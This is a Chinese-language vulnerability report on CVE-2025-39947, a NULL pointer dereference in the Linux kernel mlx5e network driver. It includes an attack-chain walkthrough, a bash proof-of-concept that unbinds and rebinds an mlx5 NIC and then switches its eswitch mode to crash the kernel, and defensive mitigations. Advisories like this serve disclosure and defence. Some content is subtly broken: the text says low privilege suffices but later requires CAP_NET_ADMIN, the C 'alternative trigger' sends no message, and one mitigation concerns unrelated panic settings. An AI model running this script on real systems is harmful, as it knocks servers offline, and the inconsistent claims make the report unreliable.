IPBUF安全漏洞报告
English
CVE-2025-39947 CVSS 5.5 中危

CVE-2025-39947 Linux内核mlx5e驱动空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39947
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(mlx5_core/mlx5e驱动,NVIDIA/Mellanox ConnectX系列网卡)

相关标签

空指针解引用NULL Pointer DereferenceLinux Kernelmlx5emlx5_coreMellanoxNVIDIA内核漏洞拒绝服务DoS

漏洞概述

CVE-2025-39947是Linux内核中mlx5e网络驱动的一个空指针解引用漏洞,位于mlx5_uplink_netdev_get()函数中。该函数用于获取上行链路(uplink)网络设备的指针,该指针存储在mdev->mlx5e_res.uplink_netdev中。然而,当网络设备从mlx5_core.eth驱动解绑(unbind)时,该网络设备可能会被移除,其指针被清除为NULL。由于代码在使用该指针之前未进行有效性检查,直接访问该NULL指针会导致内核页面错误(page fault),从而触发内核崩溃(kernel panic)。该漏洞的触发路径涉及eswitch模式的启用操作,通过devlink接口设置eswitch模式时,系统会调用mlx5e_vport_rep_load()函数,该函数尝试访问已为NULL的uplink_netdev指针。CVSS评分为5.5,属于中危级别。虽然需要本地低权限访问才能触发,但该漏洞可导致系统完全不可用(高可用性影响),对运行关键业务服务的服务器构成严重威胁。受影响的组件包括所有使用Mellanox/NVIDIA mlx5系列网卡的Linux系统,特别是在虚拟化环境中频繁进行网卡绑定/解绑操作的场景。

技术细节

该漏洞的技术原理如下:

1. mlx5e驱动在初始化时,会将上行链路网络设备的指针保存到mdev->mlx5e_res.uplink_netdev字段中。

2. 当网络设备从mlx5_core.eth驱动解绑时(例如通过`ip link set`命令或PCI设备热拔插),驱动会清除该指针,将其设置为NULL。

3. 然而,mlx5_uplink_netdev_get()函数在获取该指针后直接返回,没有进行NULL检查。

4. 调用方mlx5e_vport_rep_load()在偏移量0x1300处访问该结构体成员(可能是netdev_ops或类似字段),导致对地址0x0000000000001300的非法内存访问。

5. 触发路径为:用户空间通过netlink发送DEVLINK_ESWITCH_MODE_SET命令 → devlink_nl_eswitch_set_doit() → mlx5_devlink_eswitch_mode_set() → mlx5_eswitch_enable_locked() → esw_offloads_enable() → mlx5_esw_offloads_rep_load() → mlx5e_vport_rep_load(),最终在访问NULL指针时崩溃。

利用方式:攻击者需要本地低权限访问系统,通过netlink接口或devlink工具尝试修改eswitch模式。如果此时uplink网络设备恰好处于解绑状态或刚被解绑,就会触发空指针解引用,导致内核panic和系统拒绝服务。

修复方案:在使用指针之前检查是否为NULL,如果有效则立即调用netdev_hold()获取引用计数,防止netdev在使用过程中被释放。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者需要获取目标系统的本地低权限访问权限(如普通用户账户),由于漏洞需要本地触发(AV:L),远程攻击不可行。
STEP 2
步骤2:识别mlx5网卡设备
攻击者通过检查/sys/class/net/或使用lspci命令识别系统中的Mellanox/NVIDIA mlx5系列网卡设备,获取PCI设备地址。
STEP 3
步骤3:触发设备解绑/重绑
攻击者通过将PCI设备从mlx5_core驱动解绑再重新绑定,使uplink_netdev指针被清除为NULL。此操作通常需要CAP_NET_ADMIN权限。
STEP 4
步骤4:触发eswitch模式设置
在指针为NULL的状态下,攻击者通过devlink工具或netlink接口发送eswitch模式切换命令,触发mlx5e_vport_rep_load()函数访问NULL指针。
STEP 5
步骤5:内核崩溃
mlx5e_vport_rep_load()在偏移0x1300处访问NULL指针,触发不可恢复的页面错误(page fault),导致内核panic,系统完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2025-39947 - Linux Kernel mlx5e NULL Pointer Dereference # This PoC triggers the vulnerability by attempting to set eswitch mode # while the uplink netdev is in an unbound state. #!/bin/bash # Prerequisites: System with Mellanox/NVIDIA mlx5 NIC, root or CAP_NET_ADMIN # This script attempts to trigger the NULL pointer dereference in mlx5e_vport_rep_load() # Step 1: Identify the mlx5 device DEV_LINK=$(ls /sys/class/net/ | grep -E "^ens.*f0$" | head -1) echo "[*] Target device: $DEV_LINK" # Step 2: Unbind the uplink netdev from mlx5_core.eth driver echo "[*] Unbinding uplink netdev..." DEV_PCI=$(ethtool -i $DEV_LINK 2>/dev/null | grep "bus-info" | awk '{print $2}') echo $DEV_PCI > /sys/bus/pci/drivers/mlx5_core/unbind 2>/dev/null sleep 1 # Step 3: Rebind the device (this clears uplink_netdev pointer) echo "[*] Rebinding device..." echo $DEV_PCI > /sys/bus/pci/drivers/mlx5_core/bind 2>/dev/null sleep 1 # Step 4: Immediately try to set eswitch mode to trigger the NULL dereference echo "[*] Triggering eswitch mode change..." DEV_NAME=$(ls /sys/bus/pci/devices/$DEV_PCI/net/ 2>/dev/null | head -1) if [ -n "$DEV_NAME" ]; then devlink dev eswitch set pci/$DEV_PCI mode switchdev 2>/dev/null echo "[*] Command sent. Check dmesg for kernel panic." else echo "[!] Could not find netdev for $DEV_PCI" fi # Alternative trigger using netlink directly (requires C code) # Compile and run the following C program: /* #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> int main(int argc, char *argv[]) { // Open netlink socket int nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlfd < 0) { perror("socket"); return 1; } // Send DEVLINK_ESWITCH_MODE_SET message // This will trigger mlx5_devlink_eswitch_mode_set() -> ... -> mlx5e_vport_rep_load() // which dereferences the NULL uplink_netdev pointer printf("Sending devlink eswitch mode set via netlink...\n"); // Note: Actual netlink message construction requires proper headers // and family ID resolution for the devlink generic netlink family close(nlfd); return 0; } */ echo "[*] PoC execution complete. Check 'dmesg | tail' for kernel oops/panic."

影响范围

Linux Kernel < 6.17(具体受影响的稳定版本包括6.6.x、6.12.x、6.15.x、6.16.x等系列)
所有使用mlx5_core驱动的Linux内核版本(截至补丁提交前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对devlink接口的访问权限,仅允许root用户或具备CAP_NET_ADMIN权限的用户执行eswitch相关操作;2)避免在生产环境中对mlx5网卡执行unbind/bind操作,特别是在启用SR-IOV或switchdev模式的场景下;3)通过SELinux或AppArmor策略限制普通用户对/sys/bus/pci/drivers/mlx5_core/的写访问权限;4)监控系统中mlx5_core驱动的异常状态,及时发现并处理设备解绑事件;5)配置内核的kernel.softlockup_panic=0和kernel.hung_task_panic=0参数,避免因该漏洞触发不必要的panic。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表